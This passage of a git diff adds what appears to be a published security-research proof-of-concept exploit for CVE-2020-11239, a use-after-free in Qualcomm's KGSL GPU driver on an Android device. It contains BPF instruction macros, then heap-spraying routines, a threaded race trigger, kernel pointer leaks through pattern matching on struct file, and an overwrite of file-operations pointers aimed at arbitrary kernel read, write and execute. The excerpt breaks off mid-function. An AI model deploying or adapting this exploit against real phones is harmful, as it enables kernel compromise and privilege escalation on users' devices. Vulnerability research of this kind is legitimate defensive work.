+		.imm   = 0 })
+
+#define BPF_MOV64_IMM(DST, IMM)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LD_IMM64(DST, IMM)					\
+	BPF_LD_IMM64_RAW(DST, 0, IMM)
+
+#define BPF_LD_IMM64_RAW(DST, SRC, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_LD | BPF_DW | BPF_IMM,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = (__u32) (IMM) }),			\
+	((struct bpf_insn) {					\
+		.code  = 0, /* zero is reserved opcode */	\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = ((__u64) (IMM)) >> 32 })
+
+#define BPF_MOV64_RAW(TYPE, DST, SRC, IMM)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_ALU64 | BPF_MOV | BPF_SRC(TYPE),	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = 0,					\
+		.imm   = IMM })
+
+#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_MEM(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_STX_XADD(SIZE, DST, SRC, OFF)			\
+	((struct bpf_insn) {					\
+		.code  = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD,	\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_ST_MEM(SIZE, DST, OFF, IMM)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM,	\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_REG(OP, DST, SRC, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_X,		\
+		.dst_reg = DST,					\
+		.src_reg = SRC,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+#define BPF_JMP_IMM(OP, DST, IMM, OFF)				\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_OP(OP) | BPF_K,		\
+		.dst_reg = DST,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = IMM })
+
+#define BPF_JMP_A(OFF)						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_JA,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = OFF,					\
+		.imm   = 0 })
+
+// This check has been added to ensure that function calls are always within the allowed range.
+#define BPF_EMIT_CALL__IMM(FUNC)	({			\
+		uintptr_t __offset = (FUNC) - __bpf_call_base;	\
+		(__s32) __offset;				\
+	})
+
+#define BPF_EMIT_CALL(FUNC)					\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_CALL,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = BPF_EMIT_CALL__IMM(FUNC)/*((FUNC) - __bpf_call_base)*/ })
+
+#define BPF_EXIT_INSN()						\
+	((struct bpf_insn) {					\
+		.code  = BPF_JMP | BPF_EXIT,			\
+		.dst_reg = 0,					\
+		.src_reg = 0,					\
+		.off   = 0,					\
+		.imm   = 0 })
+
+
+#endif
diff --git a/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
new file mode 100644
index 0000000..036f2c2
--- /dev/null
+++ b/SecurityExploits/Android/Qualcomm/CVE-2020-11239/kgsl_exploit_slab_a71.c
@@ -0,0 +1,1047 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/prctl.h>
+#include <sys/socket.h>
+#include <netinet/in.h>
+#include <netinet/ip.h>
+#include <sys/syscall.h>
+#include <sched.h>
+#include <sys/un.h>
+#include <pthread.h>
+#include "kgsl_exploit.h"
+#include <sys/time.h>
+
+//A71:
+//dma_buf_fops - __bpf_prog_run32
+#define DMA_TO_BPF 0x16f2798
+//null_fops - __bpf_prog_run32
+#define NULL_TO_BPF 0x16c2700
+//__bpf_prog_run32 - __bpf_call_base
+#define BPF_TO_BASE 0x18f8
+
+#define SPRAY_1 1
+#define PIPE 1
+
+#define DELAY 4000
+#define OBJ_SIZE 37
+#define NENTS 1
+#define NB_REALLOC_THREADS 8
+#define SYS_LEN 0x1000
+#define SYS_LEN_0 0xf000
+//between 320 -480 seems ok
+#define REGIONS_LEN_1 (480 * 16)
+#define REGIONS_LEN_2 (1024)
+#define DMA_ADDRESS 0xfffbf000
+#define DMA_PAGES 64
+#define VMAS_LEN 50
+#define ORDER 26
+#define TRIGGER_THRESH 1000
+#define BOUNCE_LEN 64
+#define SLAB_LEN 5000
+#define CPU0 0
+#define CPU1 1
+
+#ifdef DMA_SPRAY
+  #define MMAP_LEN 64
+  #ifdef SPRAY_1
+    #define G_REGION_LEN 4
+  #else
+    #define G_REGION_LEN 3
+   #endif
+#else
+    #define MMAP_LEN 65
+  #ifdef SPRAY_1
+    #define G_REGION_LEN 2
+  #else
+    #define G_REGION_LEN 1
+  #endif
+#endif
+
+static volatile size_t g_nb_realloc_thread_ready = 0;
+static volatile size_t g_realloc_now = 0;
+static volatile size_t g_trigger_now = 0;
+static volatile size_t g_map_now = 0;
+static volatile size_t g_import_now = 0;
+static volatile size_t g_finished_read = 0;
+static volatile size_t g_unlocked_read = 0;
+static volatile char* g_ion_regions[G_REGION_LEN] = {0};
+static char* bounce_regions[BOUNCE_LEN];
+static int bounce_fds[BOUNCE_LEN];
+static char* ion_sys_regions[REGIONS_LEN_1 + REGIONS_LEN_2] = {0};
+static int ion_sys_fds[REGIONS_LEN_1] = {0};
+static int ion_sys_fds2[REGIONS_LEN_2] = {0};
+static long trigger_time = 0;
+static unsigned long ion_addr = 0;
+static unsigned long bpf_addr = 0;
+
+//-------eBPF program, from https://googleprojectzero.blogspot.com/2020/12/an-ios-hacker-tries-android.html -------------------------------------------------------
+
+// 25. Copy an eBPF program to run into the ION buffer. A pointer to this program is passed
+// to __bpf_prog_run32() as the second argument.
+//
+// This program will implement a very simple read/write/execute busy loop: it reads from
+// the ION buffer to see if there's an operation ('r', 'w', or 'x') to run, reads the
+// parameters from the ION buffer, and then executes the operation.
+//operation
+static int bpf_op_offset = 0x000;
+//rw input address
+static int bpf_rw_addr_offset = 0x008;
+//output address
+static int bpf_out_offset = 0x108;
+//arguments offsets
+static int bpf_arg0 = 0x10;
+static int bpf_arg1 = 0x18;
+static int bpf_arg2 = 0x20;
+static int bpf_arg3 = 0x28;
+static int bpf_arg4 = 0x30;
+
+//---------------------------------sendmsg heap spraying, from https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html ---------------------------------
+
+#define CPU_SETSIZE 1024
+#define __NCPUBITS  (8 * sizeof (unsigned long))
+typedef struct
+{
+   unsigned long __bits[CPU_SETSIZE / __NCPUBITS];
+} cpu_set_t;
+
+#define CPU_SET(cpu, cpusetp) \
+  ((cpusetp)->__bits[(cpu)/__NCPUBITS] |= (1UL << ((cpu) % __NCPUBITS)))
+#define CPU_ZERO(cpusetp) \
+  memset((cpusetp), 0, sizeof(cpu_set_t))
+
+void reset_globals() {
+  g_nb_realloc_thread_ready = 0;
+  g_realloc_now = 0;
+  g_trigger_now = 0;
+  g_map_now = 0;
+  g_import_now = 0;
+  g_finished_read = 0;
+  g_unlocked_read = 0;
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    g_ion_regions[i] = 0;
+  }
+}
+
+void migrate_to_cpu(int cpu_num) {
+    int syscallres;
+    pid_t pid = gettid();
+    cpu_set_t cpu;
+    CPU_ZERO(&cpu);
+    CPU_SET(cpu_num, &cpu);
+
+    syscallres = syscall(__NR_sched_setaffinity, pid, sizeof(cpu), &cpu);
+    if (syscallres)
+    {
+        err(1, "Error in the syscall setaffinity");
+    }
+}
+
+static volatile char g_realloc_data[OBJ_SIZE];
+
+int init_realloc_data(uint64_t dma_address, size_t length) {
+  struct cmsghdr *first;
+  struct scatterlist* scatter_view; 
+
+  first = (struct cmsghdr*) g_realloc_data;
+  first->cmsg_len = sizeof(g_realloc_data);
+  first->cmsg_level = 0;
+
+  scatter_view = (struct scatterlist*) g_realloc_data;
+  for (int i = 0; i < NENTS; i++) {
+    scatter_view[i].length = length;
+    scatter_view[i].dma_length = length;
+    scatter_view[i].dma_address = dma_address;
+  }
+  return 0;  
+}
+
+struct realloc_thread_arg
+{
+  pthread_t tid;
+  int recv_fd;
+  int send_fd;
+  struct sockaddr_un addr;
+};
+
+int init_unix_sockets(struct realloc_thread_arg * rta) {
+  struct timeval tv;
+  static int sock_counter = 0;
+
+  if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) ||
+      ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0))
+  {
+    perror("[-] socket");
+    goto fail;
+  }
+
+  memset(&rta->addr, 0, sizeof(rta->addr));
+  rta->addr.sun_family = AF_UNIX;
+  sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter);
+  if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] bind");
+    goto fail;
+  }
+
+  if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr)))
+  {
+    perror("[-] connect");
+    goto fail;
+  }
+
+  memset(&tv, 0, sizeof(tv));
+  if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) {
+    err(1, "setsockopt");
+  }
+
+  return 0;
+fail:
+  printf("[-] failed to initialize UNIX sockets!\n");
+  return -1;
+}
+
+static void* realloc_thread(void *arg)
+{
+  struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg;
+  struct msghdr mhdr;
+  char buf[200];
+
+  // initialize msghdr
+  struct iovec iov = {
+    .iov_base = buf,
+    .iov_len = sizeof(buf),
+  };
+  memset(&mhdr, 0, sizeof(mhdr));
+  mhdr.msg_iov = &iov;
+  mhdr.msg_iovlen = 1;
+
+  // the thread should inherit main thread cpumask, better be sure and redo-it!
+  migrate_to_cpu(CPU0);
+
+  // make it block
+  while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0);
+
+  if (errno != EAGAIN)
+  { 
+    perror("[-] sendmsg");
+    goto fail;
+  }
+
+  // use the arbitrary data now
+  iov.iov_len = 16; // don't need to allocate lots of memory in the receive queue
+  mhdr.msg_control = (void*)g_realloc_data; // use the ancillary data buffer
+  mhdr.msg_controllen = sizeof(g_realloc_data);
+
+  g_nb_realloc_thread_ready++;
+
+  while (!g_realloc_now) // spinlock until the big GO!
+    ;
+
+  // the next call should block while "reallocating"
+  if (sendmsg(rta->send_fd, &mhdr, 0) < 0)
+  {
+    perror("[-] sendmsg");
+    goto fail;
+  }
+  printf("[+] REALLOC THREAD finished\n");
+  return NULL;
+
+fail:
+  printf("[-] REALLOC THREAD FAILURE!!!\n");
+  return NULL;
+}
+
+int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs, uint64_t dma_address, size_t length)
+{
+  int thread = 0;
+  int ret = -1;
+
+  if (init_realloc_data(dma_address, length))
+  {
+    printf("[-] failed to initialize reallocation data!\n");
+    goto fail;
+  }
+  printf("[+] reallocation data initialized!\n");
+
+  printf("[ ] initializing reallocation threads, please wait...\n");
+  for (thread = 0; thread < nb_reallocs; ++thread)
+  {
+    if (init_unix_sockets(&rta[thread]))
+    {
+      printf("[-] failed to init UNIX sockets!\n");
+      goto fail;
+    }
+
+    if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0)
+    {
+      perror("[-] pthread_create");
+      goto fail;
+    }
+  }
+
+  while (g_nb_realloc_thread_ready < nb_reallocs)
+    sched_yield();
+
+  printf("[+] %lu reallocation threads ready!\n", nb_reallocs);
+
+  return 0;
+
+fail:
+  printf("[-] failed to initialize reallocation\n");
+  return -1;
+}
+
+//------------------------ Specifics to trigger the bug-------------------------------------
+
+struct trigger_uaf_arg {
+  int fd;
+  unsigned int read;
+};
+
+void* trigger_uaf(void* arg) {
+
+  migrate_to_cpu(CPU1);
+  struct trigger_uaf_arg* trigger_arg = (struct trigger_uaf_arg*)arg;
+  struct dma_buf_sync sync;
+  struct timeval start, end;
+  long micros_used, secs_used;
+  if (trigger_arg->read) {
+    sync.flags = DMA_BUF_SYNC_READ;
+  } else {
+    sync.flags = DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END;
+  }
+  sync.flags |= DMA_BUF_SYNC_USER_MAPPED;
+  while (!g_trigger_now);
+  for (int i = 0; i < DELAY; i++);
+  gettimeofday(&start, NULL);
+  ioctl(trigger_arg->fd, DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync));
+  gettimeofday(&end, NULL);
+  secs_used=(end.tv_sec - start.tv_sec); //avoid overflow by subtracting first
+  trigger_time = ((secs_used*1000000) + end.tv_usec) - (start.tv_usec);
+  printf("micros_used: %ld\n",trigger_time);  
+  return NULL;
+}
+
+void* read_pipe(void* arg) {
+  int buffer[80];
+  
+  migrate_to_cpu(CPU1);
+  int fd = *((int*)arg);
+  read(fd, buffer, sizeof(buffer));
+  g_unlocked_read = 1;
+  close(fd);
+  while(!g_finished_read);
+  return NULL;  
+}
+
+void* ion_map(void* arg) {
+  migrate_to_cpu(CPU0);
+  int fd = *((int*)arg);
+#ifdef SPRAY_1
+  while (!g_map_now);
+#endif
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    g_ion_regions[i] = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, i * 0x1000);
+    if (g_ion_regions[i] == MAP_FAILED) {
+      err(1, "ion region map %d failed", i);
+    }
+  }
+  return NULL;
+}
+
+void* gpu_import(void* arg) {
+  migrate_to_cpu(CPU0);
+  struct kgsl_gpuobj_import* par = (struct kgsl_gpuobj_import*)arg;
+  int kgsl_fd = par->id;
+  par->id = 0;
+  while (!g_import_now);
+#ifndef SPRAY_1
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    munmap((void*)(g_ion_regions[i]), 0x1000);
+  }
+#endif
+  if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, par) < 0) {
+      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT 2 failed.\n");
+  }
+  return NULL;
+}
+
+uint64_t compute_alignment(size_t power) {
+  return (uint64_t)((power << 16) & 0xFF0000);
+}
+
+//Fill out kgsl memory so the next one will fail
+void prepare_gpu_import(int kgsl_fd, uint64_t* regions) {
+
+  for (int i = 0; i < MMAP_LEN - 1; i++) {
+    struct kgsl_gpuobj_import par;
+    struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = regions[i]};
+    par.flags = compute_alignment(ORDER);
+    par.priv = (uint64_t)(&useraddr);
+    par.type = KGSL_USER_MEM_TYPE_ADDR;
+    par.priv_len = 0x1000;
+    par.id = 0;
+    if (ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par) < 0) {
+      err(1, "IOCTL_KGSL_GPUOBJ_IMPORT %d\n", i);
+    }
+  }
+}
+
+//-----------------------------------bounce buffer and buddy heap spraying--------------------
+
+struct bounce_buffer_param {
+  int rpc_fd;
+  int ion_fd;
+  int process_fd;
+  int args_fd;
+  char* process_region;
+  char* args_region;
+  char* sys_region;
+  int null_fds[SLAB_LEN];
+};
+
+void spray_system_heap(int ion_fd, struct bounce_buffer_param* param) {
+  //First round spraying, use large chunk up the memory pool.
+  for (int i = 0; i < REGIONS_LEN_1; i++) {
+	struct ion_allocation_data ion_alloc_data;
+	ion_alloc_data.len = SYS_LEN_0;
+	ion_alloc_data.flags = 1;
+	ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+      err(1, "ION_IOC_ALLOC bounce failed\n");
+    }
+    ion_sys_fds[i] = ion_alloc_data.fd;
+  }
+  //Second round spraying, use single page so we can map it to bounce buffer.
+  for (int i = 0; i < REGIONS_LEN_2; i++) {
+	struct ion_allocation_data ion_alloc_data;
+	ion_alloc_data.len = SYS_LEN;
+	ion_alloc_data.flags = 1;
+	ion_alloc_data.heap_id_mask = ION_HEAP(25);
+
+    if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) {
+      err(1, "ION_IOC_ALLOC bounce failed\n");
+    }
+    ion_sys_fds2[i] = ion_alloc_data.fd;
+  }
+
+  //Spray with null files to create new slab 
+  for (int i = 0; i < SLAB_LEN; i++) {
+    param->null_fds[i] = open("/dev/null", 0);
+  }
+
+  
+  //set the top and bottom as bounce regions
+  if (BOUNCE_LEN < 2) {
+    err(1, "bounce len has to be greater than or equal to 2\n");
+  }
+  //Use region2 to map the rest of the bounce buffer.
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    if (i == 1) continue;
+    bounce_regions[i] = ion_sys_regions[i] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i], 0);
+    if (bounce_regions[i] == MAP_FAILED) {
+      err(1, "bounce regions failed\n");
+    }
+    bounce_fds[i] = ion_sys_fds2[REGIONS_LEN_2 - 1 - BOUNCE_LEN + i];
+  }
+  //Last of region 1 should be below the new slab, map it to the first bounce region
+  bounce_regions[1] = ion_sys_regions[1] = mmap(NULL, SYS_LEN, PROT_READ | PROT_WRITE, MAP_SHARED, ion_sys_fds2[REGIONS_LEN_2 - 1], 0);
+  if (bounce_regions[1] == MAP_FAILED) {
+    err(1, "bounce regions failed\n");
+  }
+  bounce_fds[1] = ion_sys_fds2[REGIONS_LEN_2 - 1];
+}
+
+void allocate_bounce_buffer(struct bounce_buffer_param* param) {
+
+  int ion_fd = open("/dev/ion", O_RDONLY);
+  if (ion_fd == -1) {
+    err(1, "cannot open ion\n");
+  }
+
+  spray_system_heap(ion_fd, param);
+  int rpc_fd;
+
+  int rpc_id = open("/dev/adsprpc-smd", 0);
+  if (rpc_id == -1) {
+    err(1, "cannot open rpc\n");
+  }
+  printf("rpc opened\n");
+  uint32_t info_ptr[1];
+  info_ptr[0] = 3;
+
+  if(ioctl(rpc_id, FASTRPC_IOCTL_GETINFO, info_ptr) < 0) {
+    err(1, "rpc getinfo failed\n");
+  }
+
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+	struct remote_dma_handle dma = {.fd = bounce_fds[i], .offset = 0};
+	union remote_arg args[1];
+	args[0].dma = dma;
+	  
+	struct fastrpc_ioctl_invoke invoke = {0};
+	invoke.handle = 0x3;
+	invoke.sc = 16;
+	invoke.pra = &(args[0]);
+	unsigned int attrs = 16;
+    struct fastrpc_ioctl_invoke_attrs crc;
+    crc.inv = invoke;
+    crc.attrs = &attrs;
+    crc.fds = &(bounce_fds[i]);
+    ioctl(rpc_id, FASTRPC_IOCTL_INVOKE_ATTRS, &crc);
+  }
+  param->rpc_fd = rpc_fd;
+  param->ion_fd = ion_fd;
+  return;
+}
+
+void sync_bounce_buffer(int read, int index) {
+  struct dma_buf_sync sync;
+  sync.flags = DMA_BUF_SYNC_RW;
+  if (read) {
+    sync.flags |= DMA_BUF_SYNC_END;
+  }
+  if (ioctl(bounce_fds[index], DMA_BUF_IOCTL_SYNC, (unsigned long)(&sync)) < 0) {
+    err(1, "error syncing bounce buffer %d\n", index);
+  }
+}
+
+void sync_bounce_buffers(int read) {
+  printf("[+] syncing bounce buffers\n");
+  for (int i = 0; i < BOUNCE_LEN; i++) {
+    sync_bounce_buffer(read, i);
+  }
+}
+
+//----------------------------Utils for finding addresses and faking objects------------------------------------
+
+//Fetch the pointer to the wait_list in struct file to calculate own address, then 
+//take away offset to calculate controlled ion buffer address.
+unsigned long calculate_ion_addr(long offset, int region) {
+  long wait_list_offset = offset + 0x38;
+  long total_offset = wait_list_offset + (region - 2)* SYS_LEN;
+  unsigned long* wait_list_addr = (unsigned long*)(&(ion_sys_regions[region][wait_list_offset]));
+  printf("null file addr: %lx\n", *wait_list_addr);
+  return *wait_list_addr - total_offset - SYS_LEN;
+}
+
+void overwrite_fops(int region, long offset, unsigned long ion_addr) {
+  unsigned long* fops_addr = (unsigned long*)(&(ion_sys_regions[region][offset]));
+  printf("overwrite fops %lx\n", fops_addr[1]);
+  fops_addr[1] = ion_addr;
+  return;
+}
+//overwrite file mode to allow lseek
+void overwrite_fmode(int region, long offset) {
+  long fmode_offset = offset + 0x28;
+  unsigned int* fmode = (unsigned int*)(&(ion_sys_regions[region][fmode_offset]));
+  printf("overwrite fops %x\n", fmode[0]);
+  //Add fmode lseek
+  *fmode |= 0x4;
+  return;
+}
+
+long search_null_fops(char* data, size_t len, unsigned long* result) {
+  size_t left = len;
+  char* curr = data;
+  unsigned long* curr_long;
+  //Observed pattern of a null file struct. These are right after the null_fops
+  const char null_pattern[32] = {
+    0, 0, 0,   0, 0,    0, 0,   0, 0x1, 0, 0, 0, 0, 0, 0, 0,
+    0, 0, 0x2, 0, 0x1d, 0, 0x2, 0, 0,   0, 0, 0, 0, 0, 0, 0
+  };
+
+  while (left) {
+    if (left >= 64) {
+      //match
+      if (!memcmp(curr + 16, &(null_pattern[0]), 32)) {
+        curr_long = (unsigned long*)curr;
+        *result = curr_long[1];
+        if ((*result >> 48) == 0xffff) {
+          return curr - data;
+        }
+      }
+    }
+    curr += 16;
+    left -= 16;
+  }
+  return -1;
+}
+
+long search_dma_fops(char* data, size_t len, unsigned long* result) {
+  size_t left = len;
+  char* curr = data;
+  unsigned long* curr_long;
+  //Observed pattern of a dma file struct. These are right after the dma_fops
+  const char dma_pattern[32] = {
+    0,   0, 0, 0, 0,   0, 0, 0, 0x1, 0, 0, 0, 0, 0, 0, 0,
+    0x2, 0, 0, 0, 0x7, 0, 0, 0, 0,   0, 0, 0, 0, 0, 0, 0
+  };
+
+  while (left) {
+    if (left >= 64) {
+      //match
+      if (!memcmp(curr + 16, &(dma_pattern[0]), 32)) {
+        curr_long = (unsigned long*)curr;
+        *result = curr_long[1];
+        if ((*result >> 48) == 0xffff) {
+          return curr - data;
+        }
+      }
+    }
+    curr += 16;
+    left -= 16;
+  }
+  return -1;
+}
+
+int find_null_fops() {
+  unsigned long null_fops;
+  for (int i = 2; i < BOUNCE_LEN; i++) {
+    if (ion_sys_regions[i] != 0) {
+      long offset = search_null_fops(&(ion_sys_regions[i][0]), SYS_LEN, &null_fops);
+      if (offset != -1) {
+        printf("[+] Found null_fops at %d region offset %ld %lx\n", i, offset, null_fops);
+        ion_addr = calculate_ion_addr(offset, i);
+        bpf_addr = null_fops - NULL_TO_BPF;
+        printf("[+] ion region location: %lx\n", ion_addr);
+        printf("[+] bpf addr: %lx\n", bpf_addr);
+        overwrite_fops(i, offset, ion_addr);
+        overwrite_fmode(i, offset);
+        return i;
+      }
+    }
+  }
+  printf("[-] Failed to find null_fops\n");
+  return -1;
+}
+
+int find_dma_fops() {
+  unsigned long dma_fops;
+  for (int i = 2; i < BOUNCE_LEN; i++) {
+    if (ion_sys_regions[i] != 0) {
+      long offset = search_dma_fops(&(ion_sys_regions[i][0]), SYS_LEN, &dma_fops);
+      if (offset != -1) {
+        printf("[+] Found dma_buf_fops at %d region offset %ld %lx\n", i, offset, dma_fops);
+        ion_addr = calculate_ion_addr(offset, i);
+        bpf_addr = dma_fops - DMA_TO_BPF;
+        printf("[+] ion region location: %lx\n", ion_addr);
+        printf("[+] bpf addr: %lx\n", bpf_addr);
+        overwrite_fops(i, offset, ion_addr);
+        overwrite_fmode(i, offset);
+        return i;
+      }
+    }
+  }
+  printf("[-] Failed to find dma_buf_fops\n");
+  return -1;
+}
+
+void dump_memory(int i) {
+  char name[64];
+  snprintf(name, sizeof(name), "/data/local/tmp/mem_dump/mem_dump%u.bin", i);
+
+  FILE* fptr = fopen(name, "wb");
+  if (fptr == NULL) {
+    err(1, "error open dump file\n");
+  }
+
+  for (int i = 2; i < 64; i++) {
+    if (ion_sys_regions[i] != 0) {
+      fwrite(&(ion_sys_regions[i][0]), SYS_LEN, 1, fptr);
+    }
+  }
+
+  fclose(fptr);
+}
+
+//----------------------------------------------exploit part-----------------------------------------
+
+void do_one_rw(uint64_t dma_address, size_t length, uint64_t* regions, char* ion_region, int* ion_alloc_fds, unsigned int read) {
+  struct realloc_thread_arg rta[NB_REALLOC_THREADS];
+  memset(rta, 0, sizeof(rta));
+  if (init_reallocation(rta, NB_REALLOC_THREADS, dma_address, length)) {
+    err(1, "[-] failed to initialize reallocation!\n");
+  }
+
+  int kgsl_fd;
+
+  kgsl_fd = open("/dev/kgsl-3d0", 0);
+  if (kgsl_fd == -1) {
+    err(1, "cannot open kgsl\n");
+  }
+  
+  prepare_gpu_import(kgsl_fd, regions);
+
+  struct kgsl_gpuobj_import par;
+  struct kgsl_gpuobj_import_useraddr useraddr = {.virtaddr = (uint64_t)ion_region};
+  par.flags = 0x1F0000;
+  par.type = KGSL_USER_MEM_TYPE_ADDR;
+  par.priv_len = 0x1000;
+  par.priv = (uint64_t)(&useraddr);
+  par.id = 0;
+  
+  pthread_t trigger_tid;
+  struct trigger_uaf_arg arg = {.fd = ion_alloc_fds[0], .read = read};
+
+  if (pthread_create(&trigger_tid, NULL, trigger_uaf, &arg) != 0) {
+      err(1, "[-] pthread_create trigger");
+  }
+  int pipe_write[PIPE];
+  for (int i = 0; i < PIPE; i++) {
+    int pipe_fd[2];
+    pipe(pipe_fd);
+  
+    pthread_t rw_tid;
+    if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) {
+      err(1, "[-] pthread_create read");
+    }
+    pipe_write[i] = pipe_fd[1];
+    struct sched_param sched_par = {0};
+
+    if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par) != 0) {
+      err(1, "[-] set priority for rw failed\n");
+    }
+  }
+
+  struct kgsl_gpuobj_import par2;
+  par2.flags = 0x1000;
+  par2.priv_len = 0x1000;
+  par2.id = kgsl_fd;
+#ifdef DMA_SPRAY
+  struct kgsl_gpuobj_import_dma_buf buf = {.fd = ion_alloc_fds[2]};
+  par2.type = KGSL_USER_MEM_TYPE_DMABUF;
+  par2.priv = (uint64_t)(&buf);
+#else
+  struct kgsl_gpuobj_import_useraddr useraddr2 = {.virtaddr = regions[MMAP_LEN - 1]};
+  par2.type = KGSL_USER_MEM_TYPE_ADDR;
+  par2.priv = (uint64_t)(&useraddr2);
+#endif
+
+  struct sched_param sched_par = {0};
+
+  if (pthread_setschedparam(trigger_tid, SCHED_IDLE, &sched_par) != 0) {
+    err(1, "[-] set priority for trigger failed\n");
+  }
+
+
+  char write_char;
+  write_char = 'a';
+
+  migrate_to_cpu(CPU0);
+
+  pthread_t import_tid;
+  if (pthread_create(&import_tid, NULL, gpu_import, &par2) != 0) {
+      err(1, "[-] pthread gpu_import");
+  }
+#ifdef SPRAY_1
+  pthread_t ion_map_tid;
+  if (pthread_create(&ion_map_tid, NULL, ion_map, &(ion_alloc_fds[1])) != 0) {
+      err(1, "[-] pthread_create ion_map");
+  }
+#endif
+  sleep(1);
+#ifndef SPRAY_1
+  ion_map(&(ion_alloc_fds[1]));
+#endif
+
+  ioctl(kgsl_fd, IOCTL_KGSL_GPUOBJ_IMPORT, &par);
+#ifdef SPRAY_1
+  g_map_now = 1;
+  sched_yield();
+  sleep(1);
+  while (!g_ion_regions[G_REGION_LEN - 1]);
+  for (int i = 0; i < G_REGION_LEN; i++) {
+    munmap((void*)(g_ion_regions[i]), 0x1000);
+  }
+#endif
+  g_import_now = 1;
+  sched_yield();
+  sleep(1);
+
+  struct kgsl_gpumem_free_id id = {.id = par2.id};
+  
+  g_trigger_now = 1;
+  for (int i = 0; i < PIPE; i++) {
+    write(pipe_write[i], &write_char, 1);
+  }
+  while (!g_unlocked_read);
+  ioctl(kgsl_fd, IOCTL_KGSL_GPUMEM_FREE_ID, &id);
+  g_realloc_now = 1;
+  sched_yield(); // don't run me, run the reallocator threads!
+  sleep(5);
+  g_finished_read = 1;
+
+  close(kgsl_fd);
+  struct msghdr mhdr;
+  unsigned int size = 0;
+  for (int i = 0; i < NB_REALLOC_THREADS; i++) {
+	  while (size == 0) {
+		if ((size = recvmsg(rta[i].recv_fd, &mhdr, MSG_DONTWAIT)) < 0) {
+		  err(1, "receive");
+		}
+	  }
+      size = 0;
+  }
+  if (trigger_time < TRIGGER_THRESH) {
+    printf("[-] Failed to win the race\n");
+  } else {
+    printf("[+] Read/Write operation succeeded\n");
+  }
+  for (int i = 0; i < PIPE; i++) {
+    close(pipe_write[i]);
+  }
+  reset_globals();
+}
+
+size_t compute_ion_region_size() {
+  return (1 << ORDER) -  0x1000 * (VMAS_LEN + 2);
+}
+
+int init_tmp_region(int ion_fd, char** tmp_ion_regions, char** ion_region) {
+  int ion_alloc_fd = -1;
+
